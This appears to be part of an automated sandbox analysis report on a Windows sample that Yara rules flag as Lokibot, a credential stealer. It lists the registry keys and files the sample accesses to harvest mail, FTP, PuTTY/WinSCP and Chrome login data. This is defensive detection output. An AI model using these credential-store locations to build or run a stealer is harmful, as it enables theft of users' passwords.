Source: Yara match	File source: 00000003.00000000.294708391.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.296551442.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000001.298801287.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.295652868.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.553100353.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.299558111.00000000023E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: __.exe PID: 7040, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\__.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\__.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl			Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\__.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts			Jump to behavior

Tries to steal Mail credentials (via file registry)

Source: C:\Users\user\Desktop\__.exe	Code function: PopPassword		3_2_0040D069
Source: C:\Users\user\Desktop\__.exe	Code function: SmtpPassword		3_2_0040D069

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\__.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Yara detected Credential Stealer

Source: Yara match	File source: 3.0.__.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.__.exe.23e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.__.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.__.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.__.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.__.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.293455627.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.294708391.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.296551442.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000001.298801287.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.295652868.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.553100353.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.299558111.00000000023E0000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected Lokibot

Source: Yara match	File source: 00000003.00000002.553223743.00000000007A7000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.316225767.00000000007BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: __.exe PID: 5768, type: MEMORYSTR
Source: Yara match	File source: 3.0.__.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.__.exe.23e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.__.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.__.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.__.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.__.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.293455627.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.294708391.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.296551442.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000001.298801287.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.295652868.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.553100353.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.299558111.00000000023E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: __.exe PID: 7040, type: MEMORYSTR